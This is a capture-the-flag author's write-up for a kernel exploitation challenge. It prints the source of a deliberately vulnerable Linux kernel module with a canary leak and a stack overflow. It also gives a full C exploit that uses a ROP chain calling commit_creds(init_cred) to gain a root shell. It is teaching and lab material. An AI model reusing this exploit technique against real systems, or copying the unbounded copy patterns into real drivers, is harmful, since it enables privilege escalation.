← back

2.1_k3rnel-pan1c.ko

TrojanCTF 2026·pwn·hard

Introduction

This writeup discusses the steps taken during the creation of 2.1_k3rnel-pan1c.ko, a challenge created for TrojanCTF 2026, inspired by Knoob from w3challs. The full source code, building the challenge from scratch, and a solution can be found in the TrojanCTF 2026 public repo.

If you would like to try the challenge yourself without spoiling anything, head to the dist folder from the GitHub repo. Using run.sh allows you to start the VM and give you a shell.

Challenge requirements

For a kernel pwn challenge a few things are necessary. A kernel, and a vulnerability. Additionally, it must be virtualized so it can be run from a host in isolation. To achieve this Qemu is an efficient and lightweight tool to be able to run a kernel, if a file system is also provided. In summary, a kernel, a file system and some vulnerability must be provided. Additionally it is nice to have several tools (e.g. text editors) installed on the vm.

The kernel

First, a kernel must be chosen. For the sake of relevance, the latest kernel at the time of creation of the challenge was picked, linux-6.19.6.

The source code is publicly available at kernel.org. Building the kernel is also rather easy, as only the make command has to be run. Certain configuration settings must be set however to set the appropriate difficulty level for the target audience and length of the CTF event. In this instance we will disable randomization of the base address of the kernel, KASLR, and KASAN, a dynamic memory safety error detector which will frequently get in the way of exploit attempts if not disabled.

This can be done programmatically by modifying the .config file in the kernel source tree.

After running make, a bzImage can be found. This is essentially the compressed, compiled kernel.

BusyBox

As previously mentioned, it is nice to have some basic utilities available in the VM. To this end, BusyBox achieves this nicely and lightweight. It includes a text editor, vi, among other utilities. The config allows busybox to be installed directly to a device's filesystem if the path to the device's root is given.

The vulnerability

For this I decided to create a buffer overflow. It serves as an easy to exploit bug, while giving the CTF participants the chance to explore the kernel exploiting aspect more. Compared to a regular buffer overflow, more steps are involved (more details can be found in Solving my first Kernel pwn). Notably, modern kernel build chains try to avoid giving gadgets to attackers as much as possible, making exploitation more difficult. For example, mov rdi, rax cannot be found by ropper.

In the challenge it was also an aim to highlight that some steps are similar compared to regular pwn challenges. In this case stack canaries were not disabled. The canary could be leaked in the vulnerability using a read function lacking bound checking. The following is the final source code for the vulnerable kernel module:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/fs.h>
#include <linux/uaccess.h>

#define DEVICE_NAME "kpanic"
#define BUFFER_SIZE 128

static int major;
static char kernel_buffer[BUFFER_SIZE];

static int dev_open(struct inode *inodep, struct file *filep) {
	printk(KERN_INFO "kpanic: Device opened\n");
	return 0;
}

static int dev_release(struct inode *inodep, struct file *filep) {
	printk(KERN_INFO "kpanic: Device closed\n");
	return 0;
}

static ssize_t dev_read(struct file *filep,
	char __user *user_buffer,
	size_t len,
	loff_t *offset) {

	int tmp[32];

	if (len > BUFFER_SIZE) {
		printk(KERN_WARNING "Buffer overflow detected (%d < %lu)!\n",
			BUFFER_SIZE, len);
	}

	printk(KERN_WARNING "before copy");
	if (__copy_to_user(user_buffer, tmp, len)) {
		return -EFAULT;
	}
	printk(KERN_WARNING "after copy");
	return len;
}

static ssize_t dev_write(struct file *filep, 
	const char __user *user_buffer, 
	size_t len, 
	loff_t *offset) {

	int tmp[32];
	unsigned long not_copied = __copy_from_user(tmp, user_buffer, len);
	
	if (not_copied) {
		return len;  // Bug: on copy failure, return success (len)
	}
	memcpy(kernel_buffer, tmp, len);  // Potential stack overflow
	if (len > BUFFER_SIZE) {
	   printk(KERN_WARNING "Buffer overflow detected (%d < %lu)!\n", BUFFER_SIZE, len);
	}
	check_object_size(kernel_buffer, len, user_buffer);
	return len;
}


static struct file_operations fops = {
	.open = dev_open,
	.read = dev_read,
	.write = dev_write,
	.release = dev_release,
};

static int __init kpanic_init(void) {
	major = register_chrdev(0, DEVICE_NAME, &fops);
	if (major < 0) {
		printk(KERN_ALERT "kpanic: Failed to register device\n");
		return major;
	}
	printk(KERN_INFO "kpanic: Registered with major number %d\n", major);
	printk(KERN_INFO "kpanic loaded at %px\n", THIS_MODULE);
	return 0;
}

static void __exit kpanic_exit(void) {
	unregister_chrdev(major, DEVICE_NAME);
	printk(KERN_INFO "kpanic: Unregistered device\n");
	panic("kpanic: forced kernel panic");
}

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Mr. Robot");
MODULE_DESCRIPTION("\\/\\/3 4r3 w47ch1|\\|6");
module_init(kpanic_init);
module_exit(kpanic_exit);

Testing the challenge

This part likely took the longest. Several things encountered were incorrect setting of permissions in the rootfs of the VM, not finding gadgets that would be nice to have, requiring me to find a different exploit than what I used for knoob.

Writing an exploit

It was possible to reuse large parts of the exploit for knoob. Modifications had to be added to read the stack canary, and the ROP chain needs to be changed to exclude mov rdi, rax. Here I learned about init_cred, this is the Linux kernel’s default credential set used internally to initialize process permissions before real user credentials are applied. This allows us the skip the need for the mov rdi, rax, instead, we need a pop rdi; ret; to be able to pass the address of init_cred to commit_creds. Luckily this can be found commonly in executable memory using ropper (ropper --file vmlinux --search "pop rdi"). The exploit ended up being the following:

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define str(s) #s
#define xstr(s) str(s)

#define INIT_CRED 0xffffffff82c0f5c0
#define COMMIT_CRED 0xffffffff81335590

// This is base addr of SWAPGS... + 0x3a to avoid pops and pushes
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff8100160a
#define POP_RDI_RET 0xffffffff81271e3d

unsigned long user_cs, user_ss, user_rflags, user_sp;
unsigned long cookie;

int global_fd;

void get_shell(void) {

	if (getuid() == 0){
		printf("[*] UID: %d, got root!\n", getuid());
		__asm__ volatile(
			"mov $0x68732f6e69622f, %%rax\n"	// "/bin/sh" in little-endian
			"push %%rax\n"						// push string onto stack
			"mov %%rsp, %%rbx\n"				// rbx = pointer to "/bin/sh"
			"xor %%rax, %%rax\n"
			"push %%rax\n"						// push NULL (argv terminator)
			"push %%rbx\n"						// push argv[0] = path
		"mov %%rsp, %%rsi\n"					// rsi = argv
			"xor %%rdx, %%rdx\n"				// rdx = envp (NULL)
			"mov %%rbx, %%rdi\n"				// rdi = pathname
			"mov $59, %%rax\n"					// execve syscall number
			"syscall\n"
			"1: jmp 1b\n"						// hang if execve fails
			: : : "rax", "rbx", "rsi", "rdx", "rdi", "memory"
		);
	} else {
		printf("[!] UID: %d, didn't get root\n", getuid());
		exit(-1);
	}
}

unsigned long user_rip = (unsigned long)get_shell;

void open_dev(){
	puts("[*] Opening device");
	global_fd = open("/dev/kpanic", O_RDWR);
		if (global_fd < 0){
				puts("[!] Failed to open device");
				exit(-1);
		} else {
		puts("[*] Opened device");
	}
}

void save_state(){
	__asm__(
		".intel_syntax noprefix;"
		"mov user_cs, cs;"
		"mov user_ss, ss;"
		"mov user_sp, rsp;"
		"pushf;"
		"pop user_rflags;"
		".att_syntax;"
	);
	puts("[*] Saved state");
}

void leak(void){
	unsigned n = 20;
	unsigned long leak[n];

	ssize_t r = read(global_fd, leak, sizeof(leak));

	printf("[*] Leaked %zd bytes\n", r);

	for (unsigned i = 0; i < r / sizeof(unsigned long); i++) {
		printf("[*] leak[%u] (offset %u): 0x%lx\n",
			i, i * 8, leak[i]);
	}

	cookie = leak[16];
	printf("[*] Cookie: 0x%lx\n", cookie);
}

void overflow() {
	unsigned n = 400;
	unsigned long payload[n];
	unsigned off = 16;
	payload[off++] = cookie;
	payload[off++] = POP_RDI_RET;
	payload[off++] = INIT_CRED;
	payload[off++] = COMMIT_CRED;
	payload[off++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE;
	payload[off++] = user_rip;
	payload[off++] = user_cs;
	payload[off++] = user_rflags;
	payload[off++] = user_sp;
	payload[off++] = user_ss;

	puts("[*] Prepared payload, executing...");
	ssize_t w = write(global_fd, payload, sizeof(payload));

	puts("[!] Should never be reached");
}

int main() {
	save_state();
	puts("[* finished save state]");
	open_dev();
	leak();
	overflow();
	puts("[!] Should never be reached");
	return 0;
}

Deploying the exploit

With the exploit complete, as in knoob, the final challenge was transferring it into the VM. The idea is to compress the program as much as possible and deliver it using base64. To this end, musl-gcc can be used to make a small compiled binary, then it can be compressed further using xz, which is also on the VM as it is included in Busybox which is installed. Using base64 this can then be transferred and decompressed.

Conclusion

This challenge taught me a lot, including a new path to exploit a vulnerable kernel, and how to create a minimal vm from just a kernel and BusyBox.